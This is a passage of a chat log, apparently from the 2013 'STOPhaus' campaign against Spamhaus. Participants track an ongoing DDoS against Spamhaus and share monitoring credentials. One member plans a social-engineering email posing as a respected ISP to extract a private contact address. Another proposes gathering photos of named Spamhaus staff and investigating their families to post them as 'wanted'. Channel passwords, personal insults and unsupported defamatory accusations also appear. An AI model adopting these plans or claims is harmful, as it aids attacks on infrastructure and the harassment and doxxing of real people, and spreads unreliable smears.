nearby 3-4 mounthes [18.03.2013 17:05:52] Alex Optik: but spamhaus pressed him filtering important subnets [18.03.2013 17:05:59] Alex Optik: and he had to stop working with me [18.03.2013 17:06:03] Alex Optik: but he is good man [18.03.2013 17:06:08] Alex Optik: made a refund to me [18.03.2013 17:06:15] Alex Optik: for unused time [18.03.2013 17:06:28] narko: http://www.webhostingtalk.com/showthread.php?t=1248133 [18.03.2013 17:06:30] narko: this is how ecatel works [18.03.2013 17:06:35] eDataKing: Spamhaus under major denial of service attack. Mail and website are both offline. More details coming soon on my blog. wise_laura 10:58Tweetbot for iOS [18.03.2013 17:06:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 17:06:48] eDataKing: that is Laura Atkins from Word to the Wise [18.03.2013 17:07:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: she works for them or what? [18.03.2013 17:07:23] eDataKing: wife of Steve Atkins. The same steve atkins that is registered agent of abuseat.org where the cbl is located atcbl.abuseat.org [18.03.2013 17:07:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: abuseat at least doesnt blackmail carriers and peers [18.03.2013 17:08:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: never had issues with them [18.03.2013 17:08:10] eDataKing: no, but thwe CBL is the Composite Blocklist and it does [18.03.2013 17:08:21] eDataKing: abuseat is just ran by a SH Operative [18.03.2013 17:08:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah [18.03.2013 17:09:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:abusix.org.. the whois thing for 'abuse contacts' also seems pretty horney about spamhaus [18.03.2013 17:09:29] Yuri: yes. a lot of sites they use. [18.03.2013 17:09:34] Yuri: post on forum all [18.03.2013 17:11:12] Antitheist: except spamhaus all those abuse trackers are soft of afraid from false positive listings [18.03.2013 17:11:20] Antitheist: sort of* [18.03.2013 17:11:25] eDataKing: but the CBL is SPamhaus [18.03.2013 17:11:30] eDataKing: maybe I was confusing [18.03.2013 17:11:47] eDataKing: The Spamhaus CBL is the Composite Blocklist and it is hosted on the abuseat.org server [18.03.2013 17:11:55] Antitheist: CBL yes [18.03.2013 17:12:09] eDataKing: which is ran by Steve Atkins, the husband of Laura Atkins, the lady that posted that tweet. [18.03.2013 17:12:30] eDataKing: don't we want to know where the blocklists are hosted lol [18.03.2013 17:18:23] Antitheist: we need to make some of the sections private [18.03.2013 17:18:28] Antitheist: for mods only [18.03.2013 17:18:33] eDataKing: yes, doing so now [18.03.2013 17:18:39] eDataKing: The Water Cooler for one [18.03.2013 17:18:47] eDataKing: and I'll add a Mod area [18.03.2013 17:18:58] eDataKing: other than the Infractions Board that is [18.03.2013 17:19:16] Antitheist: for the prying eyes, the board shoud be informative only :P [18.03.2013 17:19:26] eDataKing: yes [18.03.2013 17:19:30] eDataKing: I want to stress that [18.03.2013 17:19:52] eDataKing: They see one post of what we know. They choose one of thousands of posts and that's all they get. [18.03.2013 17:19:59] eDataKing: There are other measures as well. [18.03.2013 17:21:17] narko: who is [18.03.2013 17:21:19] narko: Woet@kantoor.qweb.nl [18.03.2013 17:21:35] eDataKing: from where? [18.03.2013 17:21:48] narko: irc logs gave me the name [18.03.2013 17:21:49] eDataKing: forum, here, in general? [18.03.2013 17:22:07] narko: in general [18.03.2013 17:22:57] Alex Optik: anyone already participating in irc chat? [18.03.2013 17:23:05] Alex Optik: or this not working only with me? [18.03.2013 17:23:25] eDataKing: He's a nginx admin for one [18.03.2013 17:23:36] narko: you cannot join irc? [18.03.2013 17:23:41] Alex Optik: no [18.03.2013 17:27:07] eDataKing: What will we use for a group password? [18.03.2013 17:27:22] eDataKing: for anything pass protected that the group can access with the pass. [18.03.2013 17:27:32] Antitheist: fucklinford [18.03.2013 17:27:35] Antitheist: no? [18.03.2013 17:27:40] eDataKing: sure [18.03.2013 17:28:11] eDataKing: ok, that is almost like using God or Love in 1995 now that I think about it [18.03.2013 17:28:20] eDataKing: how about fuckjohn [18.03.2013 17:28:29] eDataKing: no one will think we are using his middle name [18.03.2013 17:28:34] Alex Optik: narko [18.03.2013 17:28:40] Alex Optik: sorry for repeat asking [18.03.2013 17:28:53] Alex Optik: please tell where should i put this string? [18.03.2013 17:29:07] narko: in irc command box [18.03.2013 17:29:13] narko: after joining the server [18.03.2013 17:29:41] eDataKing: it can be accesed from here right? http://stophaus.com/showthread.php?31-IRC-Chatroom&p=32#post32 [18.03.2013 17:29:42] Alex Optik: i can not join!i receiving this Disconnected - * Connect retry #15 irc.stophaus.com (7000) - * [10053] Software caused connection abort - * Disconnected - * Connect retry #16 irc.stophaus.com (7000) - * [10053] Software caused connection abort - * Disconnected [18.03.2013 17:33:39] -= Darwick =-: type /server irc.stopspam.com +7000 [18.03.2013 17:33:48] -= Darwick =-: don't miss the + before 7000 [18.03.2013 17:33:56] Antitheist: yeah + is for ssl [18.03.2013 17:33:56] -= Darwick =-: that means that you try to connect via ssl [18.03.2013 17:33:58] Валерий Лёлин: invite me [18.03.2013 17:34:32] -= Darwick =-: don't need invite, the channel needs keyword [18.03.2013 17:34:39] -= Darwick =-: use /join #stophaus fucklinford [18.03.2013 17:34:55] -= Darwick =-: then you will be in [18.03.2013 17:35:29] eDataKing: stopspam or stophaus? [18.03.2013 17:35:34] eDataKing: -= Darwick =-: <<< type /server irc.stopspam.com +7000 [18.03.2013 17:35:52] narko: stophaus [18.03.2013 17:36:14] eDataKing: is there a definitive login creds server/channel [18.03.2013 17:36:28] eDataKing: irc.stophaus.com port? [18.03.2013 17:36:38] eDataKing: channel: #stophaus [18.03.2013 17:37:07] narko: irc.stophaus.com port 7000 with ssl - not available without ssl [18.03.2013 17:37:12] eDataKing: :) [18.03.2013 17:37:15] narko: channel #stophaus with password fucklinford [18.03.2013 17:37:50] -= Darwick =-: yeah sorry I missed the hostname [18.03.2013 17:39:31] eDataKing: np, it happens lol [18.03.2013 17:43:18] eDataKing: Major write-up in word to the wise: http://blog.wordtothewise.com/2013/03/spamhaus-under-major-ddos/ [18.03.2013 17:43:25] eDataKing: Be certain to use privacy when accessing that link [18.03.2013 17:44:03] eDataKing: 'If there are any critical or particularly urgent SBL issues today, contact your ESP delivery team. The folks who were contacted do have an email address for urgent issues. This is not an address for routine queries, however, and most listees are going to have to wait until normal services are restored to have their listing addressed.' [18.03.2013 17:44:08] eDataKing: We need that emal addy [18.03.2013 17:44:11] narko: esp? [18.03.2013 17:44:18] eDataKing: Email Service Provider [18.03.2013 17:46:41] eDataKing: ok, so we need some Social Engineering done [18.03.2013 17:46:52] Antitheist: on who [18.03.2013 17:47:06] eDataKing: we need an email to go to Laura asking the contact address for getting delisted from the SBLs. [18.03.2013 17:47:19] eDataKing: It has to appear to come from a respected ISP. [18.03.2013 17:47:33] eDataKing: how that is handled, I choose not to suggest [18.03.2013 17:47:42] Antitheist: thats great I have a few listed SBLs i can send directly from my abuse-mailbox [18.03.2013 17:47:57] Antitheist: but question is - how did i get her email in the first place :D [18.03.2013 17:48:13] eDataKing: just act as if your ESP does not understand how to contact spamhaus now [18.03.2013 17:48:20] eDataKing: she's gullible for the most part [18.03.2013 17:48:48] eDataKing: I'll grab her direct email for you [18.03.2013 17:48:50] Antitheist: i am the isp [18.03.2013 17:49:00] Antitheist: and my upstream doesnt care [18.03.2013 17:49:02] eDataKing: I figured this could be done [18.03.2013 17:49:36] Antitheist: i need a better cover story [18.03.2013 17:49:44] eDataKing: the bigger hit would be their DNSBLs, but the annoyance factor of this is about a 7. [18.03.2013 17:50:04] Antitheist: how can we fuck with the dnsbls? [18.03.2013 17:50:34] eDataKing: well, I assume they are hosted on servers. [18.03.2013 17:50:41] narko: who is ne0 in irc [18.03.2013 17:50:54] eDataKing: I assumed that cbl.abuseat.com was where one would ping the CBL (part of Zen). [18.03.2013 17:51:00] eDataKing: I assumed there were mirrors as well. [18.03.2013 17:51:32] eDataKing: neo is a name that I once used on nanae, so check him out [18.03.2013 17:52:17] Antitheist: IP from OVH UK [18.03.2013 17:52:27] eDataKing: good sign ;) [18.03.2013 17:52:38] Antitheist: ban? [18.03.2013 17:52:53] eDataKing: do antis use OVH? [18.03.2013 17:53:14] Alex Optik: they are cleaning themselfs from sbls [18.03.2013 17:53:19] Alex Optik: everytime [18.03.2013 17:53:26] eDataKing: I hate calling them antis like they are anti-spam because that is misleading, but you know what I meant [18.03.2013 17:53:37] Alex Optik: i was noticing this many times [18.03.2013 17:53:45] eDataKing: ok, then I would take that as a red flag for sure [18.03.2013 17:53:50] Antitheist: thats not related alex, its just beacuse they have a shitload of ips and they host alot of grey stuff [18.03.2013 17:54:07] eDataKing: yeah, I agre with that AH [18.03.2013 17:56:02] eDataKing: really, add in the poor PR and this is not a bad campaign :) [18.03.2013 17:57:02] eDataKing: the supporters are as unhappy with SH as the people in the Superdome were with FEMA lmao [18.03.2013 17:58:28] Mastermind of Possibilities: ne0 is cool [18.03.2013 17:58:35] Mastermind of Possibilities: That is karlin [18.03.2013 17:58:39] NM: :) [18.03.2013 17:59:37] Karlin König: am not. [18.03.2013 18:05:55] eDataKing: I hid the forum IRC from guests, so no issue there anymore [18.03.2013 18:06:35] eDataKing: where did I read the name Karlin Konig before. I actually Googled it. Hmm. [18.03.2013 18:08:30] eDataKing: oh ok, because I Googled it last time it was asked who he was. ;) [18.03.2013 18:08:44] eDataKing: http://www.gossamer-threads.com/lists/engine?user=11242;list=nanog [18.03.2013 18:09:07] eDataKing: From Brazil [18.03.2013 18:10:26] eDataKing: It is doubtful he was ever a crash test dummy lol [18.03.2013 18:13:08] eDataKing: Archives show one index of his site in Feb: http://web.archive.org/web/*/karlinkonig.com/ [18.03.2013 18:13:21] eDataKing: did I did it right Karlin? [18.03.2013 18:13:38] Antitheist: ok ne0 approved by nm [18.03.2013 18:18:16] Mastermind of Possibilities: ne0 - good, smart guy [18.03.2013 18:18:27] Mastermind of Possibilities: I don't like our irc pass though [18.03.2013 18:18:30] Mastermind of Possibilities: Tooooo easy [18.03.2013 18:18:44] Mastermind of Possibilities: I'd guess that first in my brute list [18.03.2013 18:18:55] Mastermind of Possibilities: Line 1 of dictionary database [18.03.2013 18:18:56] Antitheist: well the chan is not announced anyway anywhere [18.03.2013 18:19:04] Mastermind of Possibilities: Ok [18.03.2013 18:21:20] *** Mastermind of Possibilities quit *** [18.03.2013 18:23:20] eDataKing: I can't seem to find the SSL option in mIRC [18.03.2013 18:23:38] Cali: /server ip +port [18.03.2013 18:23:40] eDataKing: * Connect retry #12 irc.stophaus.com (7000) - * [10053] Software caused connection abort - * Disconnected - * Connect retry #13 irc.stophaus.com (7000) [18.03.2013 18:26:45] eDataKing: why did Mastermind leave? [18.03.2013 18:26:52] eDataKing: to go to IRC? [18.03.2013 18:26:58] Antitheist: we need to move to irc [18.03.2013 18:27:02] Antitheist: he's there btw [18.03.2013 18:27:11] eDataKing: yes, but I can't connect [18.03.2013 18:27:28] eDataKing: I can't lie, I hardly ver use IRC but have at times [18.03.2013 18:27:40] Antitheist: /server irc.stophaus.com +7000 [18.03.2013 18:27:49] Antitheist: type it anywhere and tell us what you get [18.03.2013 18:30:49] Alex Optik: i would like to ask same question!where this needs to be typed? [18.03.2013 18:31:00] Alex Optik: i have settings in mirc like this [18.03.2013 18:31:08] Antitheist: in the prompt [18.03.2013 18:31:09] Alex Optik: Alex Optik: <<< Description: IRC Server: Ports: Group: Only certain types of users need to use passwords Password Alex Optik: <<< Description: IRC Server: Ports: Group: Only certain types of users need to use passwords Password [18.03.2013 18:31:13] eDataKing: you can type it right in the IRC chat box [18.03.2013 18:31:18] Antitheist: you can do it this way either [18.03.2013 18:31:27] Antitheist: if you want to save the channel or whatever [18.03.2013 18:31:27] eDataKing: I need to figure out how to add the password in the string [18.03.2013 18:31:43] Antitheist: the password is not on that part, edataking [18.03.2013 18:31:57] eDataKing: #stophaus unable to join channel (need correct key) - [18.03.2013 18:32:08] Antitheist: after you connected to the server, type /j #stophaus fucklinford [18.03.2013 18:33:55] Alex Optik: haha this is the problem i can not even connect to server [18.03.2013 18:34:07] Antitheist: what do you see [18.03.2013 18:34:13] Alex Optik: it gives same error as eDataking said [18.03.2013 18:34:34] Alex Optik: eDataKing: <<< * Connect retry #12 irc.stophaus.com (7000) - * [10053] Software caused connection abort - * Disconnected - * Connect retry #13 irc.stophaus.com (7000) why did Mastermind leave? to go to IRC? [18.03.2013 18:34:38] -= Darwick =-: alex because you didn't connect with ssl [18.03.2013 18:34:38] Antitheist: /server irc.stophaus.com +7000 [18.03.2013 18:34:46] Antitheist: just copy paste [18.03.2013 18:35:02] -= Darwick =-: use the +7000 and forget the channel window... [18.03.2013 18:35:45] -= Darwick =-: or server window and anything in your irc client [18.03.2013 18:36:01] -= Darwick =-: [17:34:39] Antitheist: /serverirc.stophaus.com +7000 [18.03.2013 18:36:13] -= Darwick =-: just copy and paste it from slash [18.03.2013 18:48:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://blog.wordtothewise.com/2013/03/spamhaus-under-major-ddos/ [18.03.2013 18:58:04] Antitheist: lol she said to send her the IPs that are listed right now [18.03.2013 18:58:19] Antitheist: Sven send them all your /19s :D [18.03.2013 18:58:55] -= Darwick =-: :D [18.03.2013 18:59:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 84.22.96.0/19 205.189.71.0/24 205.189.72.0/23 91.209.12.0/24 [18.03.2013 18:59:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: simon: got somethings to add to that :P [18.03.2013 18:59:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 19:00:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and yuri lol [18.03.2013 19:00:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 91.115.something i believe lol [18.03.2013 19:00:24] simomchen: 31.222.200.0/21 , 195.191.102.0/23, 37.148.216.0/21 [18.03.2013 19:00:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [18.03.2013 19:01:03] Yuri: don't understand. [18.03.2013 19:01:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that prefix they shitlisted :P [18.03.2013 19:01:15] Antitheist:http://blog.wordtothewise.com/2013/03/spamhaus-under-major-ddos/ [18.03.2013 19:01:29] Antitheist: If there is something particularly urgent and your ESP or delivery team does not have a contact address, you can contact me an I can see what I can do. [18.03.2013 19:01:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh hell just copy/paste all of DROP :P [18.03.2013 19:01:48] Antitheist: whats ESP stands for anyway? [18.03.2013 19:01:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and do a select on that sbl monitoring database [18.03.2013 19:01:55] Antitheist: Extremely stupid Provider? [18.03.2013 19:01:57] eDataKing: email service provider [18.03.2013 19:02:02] narko: who is blackpickle [18.03.2013 19:02:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh.. 'email' lol [18.03.2013 19:02:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hahaha [18.03.2013 19:02:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sorry we don't do email [18.03.2013 19:02:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [18.03.2013 19:02:11] eDataKing: blackpickle is cool [18.03.2013 19:02:22] Antitheist: its mastermind [18.03.2013 19:02:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 1993 called they want their instant messenger back [18.03.2013 19:02:36] Yuri: I put a replay to the topic http://www.webhostingtalk.com/showthread.php?p=8606015#post8606015 [18.03.2013 19:03:21] Yuri: also i fixed notifications in nagios of spamhaus http://antispamhaus.org/nagios nagiosadmin/fuckspamhaus [18.03.2013 19:03:27] Yuri: or guest/guest [18.03.2013 19:03:53] Antitheist: guest/guest should not show spamhaus.org [18.03.2013 19:04:16] Yuri: doesn't metter if they see that they are down. [18.03.2013 19:04:23] Yuri: they know that already [18.03.2013 19:04:30] Antitheist: but then they can know its you [18.03.2013 19:04:32] Antitheist: :) [18.03.2013 19:04:43] Yuri: it's not me. [18.03.2013 19:05:15] Antitheist: not you as in %yourname% but that stophaus has a direct interest in their ddos [18.03.2013 19:05:22] Antitheist: and that might be a bit illegal [18.03.2013 19:05:25] Antitheist: :) [18.03.2013 19:05:40] Yuri: maybe [18.03.2013 19:06:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: doesn't half the world have a direct interest in their ddos [18.03.2013 19:06:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 19:07:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: xs4all already knows anyway haha [18.03.2013 19:07:18] eDataKing: what did he post that shows that stophaus has an interest in a ddos? [18.03.2013 19:07:36] eDataKing: It looked like a compilation of data related to the OT [18.03.2013 19:07:37] Antitheist: he didnt, he put an open nagios monitoring [18.03.2013 19:07:48] Antitheist: that is picked up by google [18.03.2013 19:07:58] Antitheist: with gues/guest banner in the 401 basic auth [18.03.2013 19:08:01] eDataKing: ahh, in one of the links? [18.03.2013 19:08:18] Antitheist: yes antispamhaus.org/nagios [18.03.2013 19:08:32] eDataKing: you should edit that out [18.03.2013 19:08:49] Antitheist: and since we want to make it in the cleanest possible way, i dont want that any spamhaus loving nerd will dox that [18.03.2013 19:08:56] eDataKing: let them hear the term STOPhaus, do a Google search and find the forum, go to the forum, see 1 post, and have to register [18.03.2013 19:09:05] eDataKing: no links to any sites [18.03.2013 19:09:25] Antitheist: its not a link on the forum edataking [18.03.2013 19:09:33] eDataKing: except for stophaus, and only very rarely should that link be mentioned [18.03.2013 19:09:37] Antitheist: its just an indexable directory on the main domain root [18.03.2013 19:09:59] eDataKing: ok, and the urlantispamhaus.org is on the same server as stophaus anyway [18.03.2013 19:10:09] Antitheist: yes [18.03.2013 19:10:17] Antitheist: and this is also indexed already [18.03.2013 19:10:26] eDataKing: yeah, it shouldn't be an issue [18.03.2013 19:10:34] Yuri: where? [18.03.2013 19:10:37] Yuri: what to change? [18.03.2013 19:10:45] Antitheist: http://whois.domaintools.com/91.218.38.162 [18.03.2013 19:10:51] eDataKing: keep antispamhaus clean from what some may look at as 'repotable' content [18.03.2013 19:10:58] Antitheist: 2 websites use this address. (examples:antispamhaus.org stophaus.com) [18.03.2013 19:11:05] eDataKing: that is fine [18.03.2013 19:11:07] eDataKing: no issue there [18.03.2013 19:11:27] Antitheist: just move /nagios to /endspamhaus or something [18.03.2013 19:11:44] eDataKing: what does nagios mean? [18.03.2013 19:11:53] Antitheist: an uptime monitoring system [18.03.2013 19:11:53] eDataKing: is that something identifiable? [18.03.2013 19:11:56] Yuri: it's monitoring system of spamhaus infrusrtucrure [18.03.2013 19:12:00] eDataKing: if so, change that [18.03.2013 19:12:08] Antitheist: yes, when you hack isps its the first directory you try :) [18.03.2013 19:12:10] Yuri: we need to add more hosts there [18.03.2013 19:12:20] Antitheist: second one would be awstats i guess [18.03.2013 19:12:43] eDataKing: just be sure it is inaccessible and named in a generic manner [18.03.2013 19:13:00] eDataKing: not to tell you what to do, but I would suggest that [18.03.2013 19:13:28] Yuri: nobody need to hack it [18.03.2013 19:13:30] Antitheist: yes i agree, /nagios is very obvious [18.03.2013 19:14:12] Antitheist: exactly, since the password is guest/guest once google or someone will pick it up they can know we ddos-monitor them [18.03.2013 19:14:20] Antitheist: btw i suggest to subscribe to host-tracker.com [18.03.2013 19:14:43] Antitheist: they will hammer spamhaus from 50 locations every minute and send us a nice email of which one of them responded :D [18.03.2013 19:19:59] narko: http://www.webhostingtalk.com/showpost.php?p=8606043&postcount=90 [18.03.2013 19:26:36] Yuri: answered [18.03.2013 19:38:51] Cali: http://blog.wordtothewise.com/2013/03/spamhaus-under-major-ddos/ [18.03.2013 19:39:00] Cali: "laura" from spamhaus obviously. [18.03.2013 19:39:10] Antitheist: posted for the 4th time already :D [18.03.2013 19:39:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah sent her the list of demands. [18.03.2013 19:39:17] Antitheist: lol [18.03.2013 19:39:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: withlinford@spamhaus.org as the email address [18.03.2013 19:39:22] eDataKing: That is Laura Atkins and be safe because she monitors traffic [18.03.2013 19:39:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh wait, that doesn't work [18.03.2013 19:39:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 19:39:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [18.03.2013 19:39:27] Antitheist: lets send her 0.0.0.0/0 [18.03.2013 19:39:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: cut/paste all of DROP to start with [18.03.2013 19:39:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh wait that doesn't work either [18.03.2013 19:39:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [18.03.2013 19:39:45] eDataKing: lol [18.03.2013 19:39:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well i guess she can see posts without the sender clicking the link in the email [18.03.2013 19:40:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [18.03.2013 19:40:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: after all its her blog [18.03.2013 19:40:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so now, she has the list of demands haha [18.03.2013 19:40:17] -= Darwick =-: she is ugly [18.03.2013 19:40:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: OPERATION STOPHAUS: We demand that The Spamhaus Project, an offshore criminal network of tax circumventing self declared internet terrorists pretending to be 'spam' fighters, seizes the following activities: 1: Listing personal information, photos, etc, without a permit of applicable authorities, such as the information commissioners office (UK), often combined with slander, at the ROKSO part of their website. 2: Listing any and all IP space that is not a source of spam, triggering a honeypot, on a per-ip basis, for a defined time, with autoremoval after this period of time. 3: Listing non-related, non SPAM originating IP space, both of ISPs, their carriers and peers, in an effort to blackmail/extort those ISPs, Carriers and Peers to discontinue service to certain clients Spamhaus doesn't like for whatever 'reason'. 4: Stop using slanderous terms, such as 'criminal' or 'illegal' or 'fraud' in cases where under applicable (residence of the end-user) law, this is not the case at all. In case Spamhaus thinks something criminal is going on, they have the legal obligation to hand it over to law enforcement, not blackmail people into getting it disconnected without legal process. 5: Compensate each and everyone ever listed, for damages, regarding the manhours and financial resources spent, to repair the damage done by listing non SPAM related IPs. (most of the listings on spamhaus serve no technical purpose whatsoever, and are only there to blackmail people). Spamhaus has recently blackmailed several multinational carriers into disconnecting clients, breaching their own contracts, without any legal procedure whatsoever, and pretty much everyone on the internet so-far has feared spamhaus too much to report them to the authorities, wether they have a legal department to do so or not. reporting spamhaus to the authorities has shown to result in more listings, such as on their DROP list, which breaks access to significant parts of the internet completely. Spamhaus advertising its use as such, constitutes to breach of the UK Computer Sabotage Act. they know that by listing anything on DROP, they're breaking internet access (at least partially), and use it as a means to terrorize people into giving them their way. for more information about the Spamhaus project, and their network of offshore limiteds they use to circumvent taxation (claiming to be a non-profit in the UK, meanwhile selling illegally harvested and processed datafeeds and whitelistings through companies registered on the bahamas and cyprus), we refer to our forum at http://www.stophaus.com/ [18.03.2013 19:40:42] narko: yes that was posted [18.03.2013 19:40:50] narko: http://www.webhostingtalk.com/showpost.php?p=8606059&postcount=92 [18.03.2013 20:20:56] eDataKing: Morrison Data Here: http://stophaus.com/forumdisplay.php?133-Thomas-Morrison [18.03.2013 20:22:26] simomchen: strange , I can not read this link [18.03.2013 20:22:39] simomchen: it's redirect into 000webhost [18.03.2013 20:22:39] eDataKing: This would raise the bar for refusal: HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: <<< 5: Compensate each and everyone ever listed, for damages, regarding the manhours and financial resources spent, to repair the damage done by listing non SPAM related IPs. (most of the listings on spamhaus serve no technical purpose whatsoever, and are only there to blackmail people). [18.03.2013 20:23:16] simomchen: <<< it's redirect into 000webhostclear your cache or use a different browser [18.03.2013 20:23:30] eDataKing: that was the free host it was on for the first 2 days [18.03.2013 20:23:39] narko: china dns takes so long to update :) [18.03.2013 20:23:52] simomchen: hehe [18.03.2013 20:24:00] simomchen: because the GFW [18.03.2013 20:24:08] eDataKing: use hidemyass.com or similar proxy portal until it propagates in your area [18.03.2013 20:24:34] simomchen: okay [18.03.2013 20:26:07] Yuri: please post on forum stophaus.com all information you can find about them [18.03.2013 20:26:21] Yuri: don't let that information be lost in this long-long-long chat [18.03.2013 20:30:42] simomchen: if we can get pics from the internet , and post it into http://stophaus.com/forumdisplay.php?2-The-Haus-House , that would be greate [18.03.2013 20:33:31] eDataKing: I had a bunch of them on a HD [18.03.2013 20:33:45] eDataKing: they wiped the original stophaus.org out and I lost the backup [18.03.2013 20:33:48] eDataKing: I'll gather them again [18.03.2013 20:35:15] eDataKing: Does anyone else know what they look like [18.03.2013 20:35:20] eDataKing: thick thumbs today [18.03.2013 20:35:33] simomchen: please upload those in the forum. like their ROKSO list [18.03.2013 20:35:59] eDataKing: Too many days without a bong :( [18.03.2013 20:36:22] simomchen: we list them like 'Wanted man' in the forum [18.03.2013 20:36:28] simomchen: https://www.google.com/search?hl=en&site=imghp&tbm=isch&source=hp&biw=1366&bih=573&q=Stephen+John+Linford&oq=Stephen+John+Linford&gs_l=img.3...1479.1479.0.2174.1.1.0.0.0.0.0.0..0.0...0.0...1ac.1.6.img.SHedc6jI-0Y#hl=en&site=imghp&tbm=isch&sa=1&q=spamhaus+Linford&oq=spamhaus+Linford&gs_l=img.3...17210.19132.0.19492.11.11.0.0.0.0.365.1321.6j1j2j1.10.0...0.0...1c.1.6.img.0N6eNDfLhTo&bav=on.2,or.r_qf.&bvm=bv.43828540,d.aWc&fp=4fba18d5b6e3d1ae&biw=1366&bih=573 [18.03.2013 20:36:34] eDataKing: yes, you should have seen the old one [18.03.2013 20:36:46] eDataKing: it looked like an FBI Top Ten list [18.03.2013 20:37:08] simomchen: which guy is Linford in the google link ? [18.03.2013 20:37:25] eDataKing: he has a beard and dark tan [18.03.2013 20:38:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm appearantly spamhaus.org is slowly coming back. [18.03.2013 20:38:30] simomchen: if we got their pic , and we can also dig their family. also list them , like they list people. that's called 'Human flesh search' in China , lol [18.03.2013 20:38:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats not good :P [18.03.2013 20:38:32] eDataKing: google Steve Linford in images and most all of them are him [18.03.2013 20:39:13] eDataKing: I started to support that for about 2 days and my conscience said it was not right [18.03.2013 20:39:56] simomchen: nothing is right , and nothing is wrong is the world. [18.03.2013 20:40:23] simomchen: winer = right loser = wrong [18.03.2013 20:40:35] simomchen: because history is writen by winers [18.03.2013 20:42:21] simomchen: eg: if spamhaus dead because us. we are not wrong. because all of us can provide many proof for proving spamhaus is criminal organizations. and we can simpliy to post those in the forum. [18.03.2013 20:42:40] simomchen: and spamhaus can not answer us because it already dead [18.03.2013 20:43:16] simomchen: so , if people google something about this , they would think 'oh, spamhaus is criminal organizations , take them down is right' [18.03.2013 20:46:26] eDataKing: I have yet to feel like they have beenmorally or legally right when they smear me or debate in public and the only place they get any real support is from nanae [18.03.2013 20:46:49] eDataKing: now nanae members will go around the web posting smear content anywhere there is anti-spamhaus lit [18.03.2013 20:47:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as if they even know where the action is nowadays... nanae members never heard of facebook or twitter because they never advertised on nntp :P [18.03.2013 20:47:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and they probably discarded the 'xxxx wants you to come on facebook' as 'spam' and sbl'ed it haha [18.03.2013 20:51:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Start monitoring your site immediately! I wish to receive notifications to about problems with following sites [18.03.2013 20:51:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: can it notify me when its -up- ? lol [18.03.2013 21:00:07] eDataKing: That is on the server with spamteq.com [18.03.2013 21:00:20] eDataKing: eDataKing: <<< Ok, so SPAMHAUS.MU - Site Location for Spamhaus Logistics Corp.just in case it got lost in the chat [18.03.2013 21:01:12] eDataKing: Article by Laura Atkins updated: http://blog.wordtothewise.com/2013/03/spamhaus-under-major-ddos/ [18.03.2013 21:04:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: she's giving away the top-secret domain name for the shitlists haha [18.03.2013 21:04:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they -never- disclose that info anywhere :P [18.03.2013 21:05:00] eDataKing: yup lol [18.03.2013 21:05:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its nowhere to be found on their website or anywhere else how to actually resolve it and she's giving it away haha [18.03.2013 21:05:38] eDataKing: desperation leads to impulsive actions ;) [18.03.2013 21:09:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Mar 14 2013 Bad Neighborhoods on the Internet By laura in Asides, Industry. Of the 42,000 Internet Service Providers (ISPs) surveyed, just 20 were found to be responsible for nearly half of all the internet addresses that send spam. [18.03.2013 21:09:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: what she means is, of the 42000 isps, just 20 picked a fight with spamhaus instead of caving in and got listed with ALL their ip addresses :P [18.03.2013 21:09:46] eDataKing: but they are including softlayer in there [18.03.2013 21:10:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: on the other hand, of the 67 sponsors of spamhaus, over half are on the anonymous childporn hosters list. [18.03.2013 21:10:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [18.03.2013 21:10:08] eDataKing: and that is a large percent of servers and only 1 of the ISPs [18.03.2013 21:10:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis 